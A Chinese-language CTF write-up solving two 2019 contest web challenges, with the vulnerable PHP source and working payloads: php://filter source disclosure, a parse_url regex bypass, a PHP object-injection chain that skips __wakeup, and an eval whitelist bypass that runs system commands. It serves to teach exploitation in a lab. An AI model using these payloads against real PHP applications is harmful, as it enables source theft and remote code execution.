JustSoso

0x01

审查元素发现了提示,伪协议拿源码

/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 <?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if (!isset($file)) {
echo 'Missing parameter' . '<br>';
}
if (preg_match("/flag/", $file)) {
die('hack attacked!!!');
}
@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
} else {
echo "Missing parameters";
} ?>

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

 <?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
} class Flag{
public $file;
public $token;
public $token_flag; function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
 
0x02

这里用到了parse_url函数在解析url时存在的bug

使用///index.php的方式使其返回false,从而绕过了后面的正则匹配

 
0x03
构造反序列化

$handle由private修饰,所以要在Handle两边加上%00

O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

_wakeup()绕过

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

最终payload为:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

love_math

0x01

审查元素,在js代码中发现calc,php,访问得到源码

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

0x02

经过分析:

有长度限制,不能超过80

虽然有/m,但是\r在黑名单中,所以不存在换行绕过

传给c的参数不能是字母,只允许使用白名单的函数作字符串

要用白名单中的函数将数字转成字母,发现base_convert()和dechex()两个函数

0x03

最终payload:

c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($$pow){1})&0=system&1=cat%20flag.php

解释如下:

dechex(1598506324)得到的是_GET进行hex编码的值

base_convert(37907361743,10,36)得到的是函数hex2bin

c的值定义了$pow=_GET,那么$$pow=$_GET

最后执行的代码为$_GET{system}($_GET{cat flag.php})

2019全国大学生信息安全竞赛部分Web writeup的更多相关文章

  1. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  2. 2019全国大学生信息安全竞赛ciscn-writeup(4web)

    web1-JustSoso php伪协议获取源码 ?file=php://filter/read=convert.base64-encode/resource=index.php index.php ...

  3. 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏

    2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...

  4. 2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    0x00 Begin 关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获全国一等奖第一名,在这里非常感谢我的团队以及我的队友. 0x01 Reverse 下载题目:e ...

  5. 第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    笔者<Qftm>原文发布<BitHack>:https://bithack.io/forum/469/answer/333 0x00 Begin 关于 ISCC 2019 北理 ...

  6. 2019全国大学生信息安全大赛两道web

    简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...

  7. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  8. 2016全国大学生信息安全竞赛(Misc)

    你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...

  9. 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

    审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...

随机推荐

  1. Python之爬虫的理解

    #  -*- coding: utf-8 -*-  中文用户一定先用这行来声明编码方式 爬虫: 爬虫是自动访问互联网,并且提取数据的程序  (从网络上获取非结构化的数据,ETL将这些数据转换为结构化数 ...

  2. Airtest自动化测试工具

    一开始知道Airtest大概是在年初的时候,当时,看了一下官方的文档,大概是类似Sikuli的一个工具,主要用来做游戏自动化的,通过截图的方式用来解决游戏自动化测试的难题.最近,移动端测试的同事尝试用 ...

  3. JS中各种宽度距离小结

    js中获取各种宽度和距离,常常让我们混淆,各种浏览器的不兼容让我们很头疼,现在就在说说js中有哪些宽度和距离. 1.名词解释 screen:屏幕.这一类取到的是关于屏幕的宽度和距离,与浏览器无关,应该 ...

  4. Git基本原理-hash算法

    一.哈希   哈希是一个系列的加密算法,各个不同的哈希算法虽然加密强度不同,但是有以下几个共同点:  ①不管输入数据的数据量有多大,使用同一个哈希算法,得到的加密结果长度固定  ②哈希算法确定,输入数 ...

  5. 企业出口退税申报系统的Sqlite数据库破解及读写

    QQ:564955427 原始出处:https://www.cnblogs.com/Charltsing/p/TSSB.html 最近一些朋友反映龙图的企业出口退税申报系统的Sqlite数据库改变了加 ...

  6. vuex 状态管理 通俗理解

    解释:集中响应式数据管理,一处修改多处使用,主要应用于大中型项目. 安装: 第一:index.js:(注册store仓库) npm install vuex -D // 下载vuex import V ...

  7. Java 常见摘要算法——md5、sha1、sha256

    目录 摘要算法简介 md5 使用jdk内置方法实现md5加密 使用bc方式实现md5加密 使用cc方式实现md5加密 sha1 使用jdk内置方法实现sha1加密 使用bc方式实现sha1加密 使用c ...

  8. Tomcat FAIL - Deploy Upload Failed, Exception: org.apache.tomcat.util.http.fileupload.FileUploadBase$SizeLimitExceededException: the request was rejected because its size (110960596) exceeds the confi

    https://maxrohde.com/2011/04/27/large-war-file-cannot-be-deployed-in-tomcat-7/ Go to the web.xml of ...

  9. MySQL之字符集

    看unicode编码区从1 - 126就属于传统utf8区,当然utf8mb4也兼容这个区,126行以下就是utf8mb4扩充区 1.utf8与utf8mb4(utf8 most bytes 4) M ...

  10. iptables对端口流量统计

    本篇文章主要介绍了Linux下如何对端口流量进行统计,小编觉得挺不错的,现在分享给大家,也给大家做个参考.一起跟随小编过来看看吧   在不修改源代码的情况下对程序暴露端口流量进行监控统计,可以利用Li ...